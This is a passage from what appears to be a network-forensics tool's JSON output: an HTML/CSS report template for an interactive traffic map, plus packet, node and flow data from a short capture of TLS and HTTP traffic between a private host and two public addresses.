\"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 50939, \"\"src\"\": \"\"200.58.112.73\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50146, \"\"seq\"\": 2107338354, \"\"ack\"\": 1929701696, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 82, \"\"chksum\"\": 12072, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n"},"html_report":"<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>Global Network Analysis - Investigative Map</title>\n    <!-- Light Theme UI -->\n    <link rel=\"stylesheet\" href=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.css\" />\n    <script src=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.js\"></script>\n    <script src=\"https://d3js.org/d3.v7.min.js\"></script>\n    <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css\" />\n    <style>\n        :root {\n            --bg-page: #f8fafc;\n            --panel-bg: #ffffff;\n            --border-ui: #e2e8f0;\n            --text-primary: #1e293b;\n            --text-secondary: #64748b;\n            --accent-main: #3b82f6;\n            --accent-success: #10b981;\n            --accent-danger: #ef4444;\n            --shadow-ui: 0 4px 6px -1px rgba(0, 0, 0, 0.1);\n        }\n\n        body, html {\n            margin: 0;\n            padding: 0;\n            width: 100%;\n            height: 100%;\n            overflow: hidden;\n            font-family: 'Inter', system-ui, -apple-system, sans-serif;\n            background: var(--bg-page);\n            color: var(--text-primary);\n        }\n\n        #app-layout {\n            display: grid;\n            grid-template-columns: 1fr 400px;\n            grid-template-rows: 60px 1fr;\n            height: 100vh;\n            width: 100vw;\n        }\n\n        header {\n            grid-column: 1 / 3;\n            background: var(--panel-bg);\n            border-bottom: 1px solid var(--border-ui);\n            display: flex;\n            align-items: center;\n            padding: 0 24px;\n            justify-content: space-between;\n            z-index: 1000;\n        }\n\n        .brand {\n            display: flex;\n            align-items: center;\n            gap: 12px;\n            font-weight: 800;\n            font-size: 1.2rem;\n            color: var(--accent-main);\n        }\n\n        #map-view {\n            position: relative;\n            background: #eee;\n        }\n\n        #side-inspector {\n            background: var(--panel-bg);\n            border-left: 1px solid var(--border-ui);\n            display: flex;\n            flex-direction: column;\n            overflow: hidden;\n            box-shadow: -4px 0 10px rgba(0,0,0,0.02);\n        }\n\n        .inspector-header {\n            padding: 20px;\n            background: #f1f5f9;\n            border-bottom: 1px solid var(--border-ui);\n        }\n\n        .inspector-content {\n            flex: 1;\n            overflow-y: auto;\n            padding: 20px;\n        }\n\n        .info-card {\n            background: #f8fafc;\n            border: 1px solid var(--border-ui);\n            border-radius: 10px;\n            padding: 15px;\n            margin-bottom: 15px;\n        }\n\n        .sec-title {\n            font-size: 0.75rem;\n            text-transform: uppercase;\n            letter-spacing: 0.05em;\n            color: var(--text-secondary);\n            margin-bottom: 10px;\n            font-weight: 700;\n        }\n\n        .data-row {\n            display: flex;\n            justify-content: space-between;\n            margin-bottom: 6px;\n            font-size: 0.85rem;\n        }\n\n        .data-label {\n            color: var(--text-secondary);\n        }\n\n        .data-value {\n            font-weight: 600;\n            word-break: break-all;\n            text-align: right;\n        }\n\n        .packet-list-item {\n            padding: 10px;\n            border: 1px solid var(--border-ui);\n            border-radius: 6px;\n            margin-bottom: 8px;\n            cursor: pointer;\n            transition: all 0.2s;\n            font-size: 0.8rem;\n            display: flex;\n            justify-content: space-between;\n        }\n\n        .packet-list-item:hover {\n            background: #f1f5f9;\n            border-color: var(--accent-main);\n        }\n\n\n        .hex-dump {\n            font-family: 'Fira Code', 'Courier New', monospace;\n            background: #0f172a;\n            color: #38bdf8;\n            padding: 15px;\n            border-radius: 8px;\n            overflow: auto;\n            flex: 1;\n            font-size: 0.85rem;\n            line-height: 1.4;\n        }\n\n        .stat-grid {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 15px;\n        }\n\n        .stat-box {\n            background: var(--panel-bg);\n            border: 1px solid var(--border-ui);\n            padding: 10px;\n            border-radius: 8px;\n            text-align: center;\n        }\n\n        .stat-v {\n            font-size: 1.2rem;\n            font-weight: 700;\n            color: var(--accent-main);\n        }\n\n        .stat-l {\n            font-size: 0.7rem;\n            color: var(--text-secondary);\n        }\n\n        .leaflet-d3-overlay {\n            pointer-events: none;\n        }\n\n        circle {\n            pointer-events: visiblePainted;\n            cursor: pointer;\n            transition: stroke-width 0.2s;\n        }\n\n        path.link {\n            stroke-opacity: 0.6;\n            fill: none;\n            cursor: pointer;\n        }\n\n        .replay-controller {\n            position: absolute;\n            bottom: 20px;\n            left: 50%;\n            transform: translateX(-50%);\n            background: white;\n            padding: 15px 25px;\n            border-radius: 12px;\n            display: flex;\n            align-items: center;\n            gap: 20px;\n            box-shadow: 0 10px 30px rgba(0,0,0,0.1);\n            z-index: 1001;\n            border: 1px solid var(--border-ui);\n            min-width: 500px;\n        }\n\n        .timeline-slider {\n            flex: 1;\n            -webkit-appearance: none;\n            height: 6px;\n            background: #e2e8f0;\n            border-radius: 5px;\n            outline: none;\n        }\n\n        .timeline-slider::-webkit-slider-thumb {\n            -webkit-appearance: none;\n            width: 18px;\n            height: 18px;\n            background: var(--accent-main);\n            border-radius: 50%;\n            cursor: pointer;\n            box-shadow: 0 2px 4px rgba(0,0,0,0.2);\n        }\n\n        .replay-btn {\n            background: var(--accent-main);\n            color: white;\n            border: none;\n            width: 36px;\n            height: 36px;\n            border-radius: 50%;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            cursor: pointer;\n            transition: transform 0.2s;\n        }\n\n        .replay-btn:hover {\n            transform: scale(1.1);\n        }\n\n        .packet-particle {\n            fill: var(--accent-main);\n            filter: drop-shadow(0 0 3px var(--accent-main));\n        }\n\n        .pvt-network-zone {\n            position: absolute;\n            top: 20px;\n            left: 20px;\n            width: 200px;\n            height: 150px;\n            border: 2px dashed #94a3b8;\n            border-radius: 10px;\n            background: rgba(248, 250, 252, 0.8);\n            pointer-events: none;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-size: 0.7rem;\n            color: #64748b;\n            text-transform: uppercase;\n            font-weight: 800;\n            z-index: 1000;\n        }\n    </style>\n</head>\n<body>\n    <div id=\"app-layout\">\n        <header>\n            <div class=\"brand\">\n                <i class=\"fas fa-microchip\"></i> FORENSIC GLOBAL ANALYZER\n            </div>\n            <div class=\"stat-grid\" style=\"gap: 40px;\">\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-nodes\">0</div>\n                    <div class=\"stat-l\">NODES</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-edges\">0</div>\n                    <div class=\"stat-l\">FLOWS</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-pkts\">0</div>\n                    <div class=\"stat-l\">PACKETS</div>\n                </div>\n            </div>\n            <div>\n                <button onclick=\"zoomToWorld()\" class=\"btn\" style=\"padding: 8px 15px; border:1px solid #ccc; border-radius:5px; background:white; cursor:pointer;\">\n                    <i class=\"fas fa-globe\"></i> Reset View\n                </button>\n            </div>\n        </header>\n\n        <div id=\"map-view\">\n            <div id=\"map\" style=\"width: 100%; height: 100%;\"></div>\n            <div class=\"pvt-network-zone\" id=\"pvt-zone\">Internal Assets</div>\n            \n            <div class=\"replay-controller\">\n                <button class=\"replay-btn\" id=\"play-pause\" onclick=\"toggleReplay()\">\n                    <i class=\"fas fa-play\" id=\"play-icon\"></i>\n                </button>\n                <input type=\"range\" class=\"timeline-slider\" id=\"timeline\" min=\"0\" max=\"100\" value=\"0\" oninput=\"seekReplay(this.value)\">\n                <div id=\"time-display\" style=\"font-family: monospace; font-size: 0.8rem; color: var(--text-secondary); width: 140px;\">00:00:00.000</div>\n            </div>\n\n            <div class=\"internal-nodes-tray\" id=\"internal-tray\" style=\"display:none;\">\n                <div class=\"sec-title\">Internal Assets</div>\n                <div id=\"internal-node-list\"></div>\n            </div>\n        </div>\n\n        <div id=\"side-inspector\">\n            <div class=\"inspector-header\">\n                <h2 id=\"inspect-title\">Selection Inspector</h2>\n                <p id=\"inspect-subtitle\" style=\"font-size: 0.8rem; color: var(--text-secondary);\">Select a node or flow on map</p>\n            </div>\n            <div class=\"inspector-content\" id=\"inspect-body\">\n                <div style=\"text-align: center; color: #94a3b8; margin-top: 50px;\">\n                    <i class=\"fas fa-search-location\" style=\"font-size: 3rem; margin-bottom: 20px;\"></i>\n                    <p>Analysis initialized. Click map elements or use replay to investigate flows.</p>\n                </div>\n            </div>\n        </div>\n    </div>\n\n    </div>\n\n    <script>\n        const nodes = [{\"id\": \"192.168.122.168\", \"ip\": \"192.168.122.168\", \"packet_count\": 34, \"total_bytes_sent\": 4678, \"total_bytes_received\": 12893, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"HTTP\", \"HTTPRequest\", \"HTTPResponse\", \"Raw\"], \"ports_used\": [49899, 49892, 50146], \"first_seen\": 1777364114.412706, \"last_seen\": 1777364230.185859, \"packets\": [{\"num\": 0, \"time\": 1777364114.412706, \"size\": 153, \"direction\": \"sent\"}, {\"num\": 1, \"time\": 1777364114.721698, \"size\": 153, \"direction\": \"sent\"}, {\"num\": 2, \"time\": 1777364115.331045, \"size\": 153, \"direction\": \"sent\"}, {\"num\": 3, \"time\": 1777364116.534231, \"size\": 153, \"direction\": \"sent\"}, {\"num\": 4, \"time\": 1777364117.737226, \"size\": 153, \"direction\": \"sent\"}, {\"num\": 5, \"time\": 1777364117.763853, \"size\": 302, \"direction\": \"sent\"}, {\"num\": 6, \"time\": 1777364118.065341, \"size\": 302, \"direction\": \"sent\"}, {\"num\": 7, \"time\": 1777364118.680501, \"size\": 302, \"direction\": \"sent\"}, {\"num\": 8, \"time\": 1777364118.945971, \"size\": 153, \"direction\": \"sent\"}, {\"num\": 9, \"time\": 1777364119.891006, \"size\": 302, \"direction\": \"sent\"}, {\"num\": 10, \"time\": 1777364121.094122, \"size\": 302, \"direction\": \"sent\"}, {\"num\": 11, \"time\": 1777364121.359711, \"size\": 153, \"direction\": \"sent\"}, {\"num\": 12, \"time\": 1777364122.297272, \"size\": 302, \"direction\": \"sent\"}, {\"num\": 13, \"time\": 1777364124.70801, \"size\": 302, \"direction\": \"sent\"}, {\"num\": 14, \"time\": 1777364126.238701, \"size\": 153, \"direction\": \"sent\"}, {\"num\": 15, \"time\": 1777364129.521637, \"size\": 302, \"direction\": \"sent\"}, {\"num\": 16, \"time\": 1777364135.852563, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 17, \"time\": 1777364139.250482, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 18, \"time\": 1777364229.232482, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 19, \"time\": 1777364229.232541, \"size\": 66, \"direction\": \"received\"}, {\"num\": 20, \"time\": 1777364229.232724, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 21, \"time\": 1777364229.236115, \"size\": 594, \"direction\": \"sent\"}, {\"num\": 22, \"time\": 1777364229.236135, \"size\": 54, \"direction\": \"received\"}, {\"num\": 23, \"time\": 1777364230.044762, \"size\": 3470, \"direction\": \"received\"}, {\"num\": 24, \"time\": 1777364230.045155, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 25, \"time\": 1777364230.071711, \"size\": 4102, \"direction\": \"received\"}, {\"num\": 26, \"time\": 1777364230.071749, \"size\": 2974, \"direction\": \"received\"}, {\"num\": 27, \"time\": 1777364230.072036, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 28, \"time\": 1777364230.072075, \"size\": 406, \"direction\": \"received\"}, {\"num\": 29, \"time\": 1777364230.184088, \"size\": 1514, \"direction\": \"received\"}, {\"num\": 30, \"time\": 1777364230.184132, \"size\": 253, \"direction\": \"received\"}, {\"num\": 31, \"time\": 1777364230.184382, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 32, \"time\": 1777364230.185831, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 33, \"time\": 1777364230.185859, \"size\": 54, \"direction\": \"received\"}], \"is_private\": true, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"Internal\", \"city\": \"Private Network\", \"lat\": 0.0, \"lon\": 0.0, \"asn\": \"Unknown\", \"isp\": \"Unknown\", \"network\": \"Unknown\"}, \"duration\": 115.77315306663513, \"avg_packet_size\": 516.7941176470588, \"packets_per_second\": 0.29367775774778065}, {\"id\": \"4.213.25.240\", \"ip\": \"4.213.25.240\", \"packet_count\": 18, \"total_bytes_sent\": 0, \"total_bytes_received\": 3748, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"ports_used\": [443], \"first_seen\": 1777364114.412706, \"last_seen\": 1777364139.250482, \"packets\": [{\"num\": 0, \"time\": 1777364114.412706, \"size\": 153, \"direction\": \"received\"}, {\"num\": 1, \"time\": 1777364114.721698, \"size\": 153, \"direction\": \"received\"}, {\"num\": 2, \"time\": 1777364115.331045, \"size\": 153, \"direction\": \"received\"}, {\"num\": 3, \"time\": 1777364116.534231, \"size\": 153, \"direction\": \"received\"}, {\"num\": 4, \"time\": 1777364117.737226, \"size\": 153, \"direction\": \"received\"}, {\"num\": 5, \"time\": 1777364117.763853, \"size\": 302, \"direction\": \"received\"}, {\"num\": 6, \"time\": 1777364118.065341, \"size\": 302, \"direction\": \"received\"}, {\"num\": 7, \"time\": 1777364118.680501, \"size\": 302, \"direction\": \"received\"}, {\"num\": 8, \"time\": 1777364118.945971, \"size\": 153, \"direction\": \"received\"}, {\"num\": 9, \"time\": 1777364119.891006, \"size\": 302, \"direction\": \"received\"}, {\"num\": 10, \"time\": 1777364121.094122, \"size\": 302, \"direction\": \"received\"}, {\"num\": 11, \"time\": 1777364121.359711, \"size\": 153, \"direction\": \"received\"}, {\"num\": 12, \"time\": 1777364122.297272, \"size\": 302, \"direction\": \"received\"}, {\"num\": 13, \"time\": 1777364124.70801, \"size\": 302, \"direction\": \"received\"}, {\"num\": 14, \"time\": 1777364126.238701, \"size\": 153, \"direction\": \"received\"}, {\"num\": 15, \"time\": 1777364129.521637, \"size\": 302, \"direction\": \"received\"}, {\"num\": 16, \"time\": 1777364135.852563, \"size\": 54, \"direction\": \"received\"}, {\"num\": 17, \"time\": 1777364139.250482, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"India\", \"city\": \"Pune\", \"lat\": 18.5211, \"lon\": 73.8502, \"asn\": 8075, \"isp\": \"Microsoft Corporation\", \"network\": \"4.213.0.0/16\"}, \"duration\": 24.83777618408203, \"avg_packet_size\": 208.22222222222223, \"packets_per_second\": 0.7247025605913863}, {\"id\": \"200.58.112.73\", \"ip\": \"200.58.112.73\", \"packet_count\": 16, \"total_bytes_sent\": 12893, \"total_bytes_received\": 930, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\", \"HTTPResponse\", \"Raw\"], \"ports_used\": [80], \"first_seen\": 1777364229.232482, \"last_seen\": 1777364230.185859, \"packets\": [{\"num\": 18, \"time\": 1777364229.232482, \"size\": 66, \"direction\": \"received\"}, {\"num\": 19, \"time\": 1777364229.232541, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 20, \"time\": 1777364229.232724, \"size\": 54, \"direction\": \"received\"}, {\"num\": 21, \"time\": 1777364229.236115, \"size\": 594, \"direction\": \"received\"}, {\"num\": 22, \"time\": 1777364229.236135, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 23, \"time\": 1777364230.044762, \"size\": 3470, \"direction\": \"sent\"}, {\"num\": 24, \"time\": 1777364230.045155, \"size\": 54, \"direction\": \"received\"}, {\"num\": 25, \"time\": 1777364230.071711, \"size\": 4102, \"direction\": \"sent\"}, {\"num\": 26, \"time\": 1777364230.071749, \"size\": 2974, \"direction\": \"sent\"}, {\"num\": 27, \"time\": 1777364230.072036, \"size\": 54, \"direction\": \"received\"}, {\"num\": 28, \"time\": 1777364230.072075, \"size\": 406, \"direction\": \"sent\"}, {\"num\": 29, \"time\": 1777364230.184088, \"size\": 1514, \"direction\": \"sent\"}, {\"num\": 30, \"time\": 1777364230.184132, \"size\": 253, \"direction\": \"sent\"}, {\"num\": 31, \"time\": 1777364230.184382, \"size\": 54, \"direction\": \"received\"}, {\"num\": 32, \"time\": 1777364230.185831, \"size\": 54, \"direction\": \"received\"}, {\"num\": 33, \"time\": 1777364230.185859, \"size\": 54, \"direction\": \"sent\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"Argentina\", \"city\": \"Rosario\", \"lat\": -32.954, \"lon\": -60.6634, \"asn\": 27823, \"isp\": \"Dattatec.com\", \"network\": \"200.58.96.0/19\"}, \"duration\": 0.9533770084381104, \"avg_packet_size\": 863.9375, \"packets_per_second\": 16.782447928141597}];\n        const edges = [{\"source\": \"192.168.122.168\", \"target\": \"4.213.25.240\", \"packet_count\": 18, \"total_bytes\": 3748, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ports\": [49899, 49892], \"dst_ports\": [443], \"first_packet\": 1777364114.412706, \"last_packet\": 1777364139.250482, \"packets\": [{\"packet_number\": 0, \"timestamp\": 1777364114.412706, \"timestamp_iso\": \"2026-04-28T13:45:14.412706\", \"timestamp_human\": \"2026-04-28 13:45:14.412\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46845, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 1, \"timestamp\": 1777364114.721698, \"timestamp_iso\": \"2026-04-28T13:45:14.721698\", \"timestamp_human\": \"2026-04-28 13:45:14.721\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46846, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 2, \"timestamp\": 1777364115.331045, \"timestamp_iso\": \"2026-04-28T13:45:15.331045\", \"timestamp_human\": \"2026-04-28 13:45:15.331\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46847, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 3, \"timestamp\": 1777364116.534231, \"timestamp_iso\": \"2026-04-28T13:45:16.534231\", \"timestamp_human\": \"2026-04-28 13:45:16.534\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46848, \"ip_len\": 139, \"ip_flags\": {\"DF\": false, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 4, \"timestamp\": 1777364117.737226, \"timestamp_iso\": \"2026-04-28T13:45:17.737226\", \"timestamp_human\": \"2026-04-28 13:45:17.737\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46849, \"ip_len\": 139, \"ip_flags\": {\"DF\": false, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 5, \"timestamp\": 1777364117.763853, \"timestamp_iso\": \"2026-04-28T13:45:17.763853\", \"timestamp_human\": \"2026-04-28 13:45:17.763\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46850, \"ip_len\": 288, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 6, \"timestamp\": 1777364118.065341, \"timestamp_iso\": \"2026-04-28T13:45:18.065341\", \"timestamp_human\": \"2026-04-28 13:45:18.065\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46851, \"ip_len\": 288, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 7, \"timestamp\": 1777364118.680501, \"timestamp_iso\": \"2026-04-28T13:45:18.680501\", \"timestamp_human\": \"2026-04-28 13:45:18.680\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46852, \"ip_len\": 288, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 8, \"timestamp\": 1777364118.945971, \"timestamp_iso\": \"2026-04-28T13:45:18.945971\", \"timestamp_human\": \"2026-04-28 13:45:18.945\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46853, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 9, \"timestamp\": 1777364119.891006, \"timestamp_iso\": \"2026-04-28T13:45:19.891006\", \"timestamp_human\": \"2026-04-28 13:45:19.891\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46854, \"ip_len\": 288, \"ip_flags\": {\"DF\": false, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 10, \"timestamp\": 1777364121.094122, \"timestamp_iso\": \"2026-04-28T13:45:21.094122\", \"timestamp_human\": \"2026-04-28 13:45:21.094\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46855, \"ip_len\": 288, \"ip_flags\": {\"DF\": false, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 11, \"timestamp\": 1777364121.359711, \"timestamp_iso\": \"2026-04-28T13:45:21.359711\", \"timestamp_human\": \"2026-04-28 13:45:21.359\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46856, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 12, \"timestamp\": 1777364122.297272, \"timestamp_iso\": \"2026-04-28T13:45:22.297272\", \"timestamp_human\": \"2026-04-28 13:45:22.297\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46857, \"ip_len\": 288, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 13, \"timestamp\": 1777364124.70801, \"timestamp_iso\": \"2026-04-28T13:45:24.708010\", \"timestamp_human\": \"2026-04-28 13:45:24.708\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46858, \"ip_len\": 288, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, 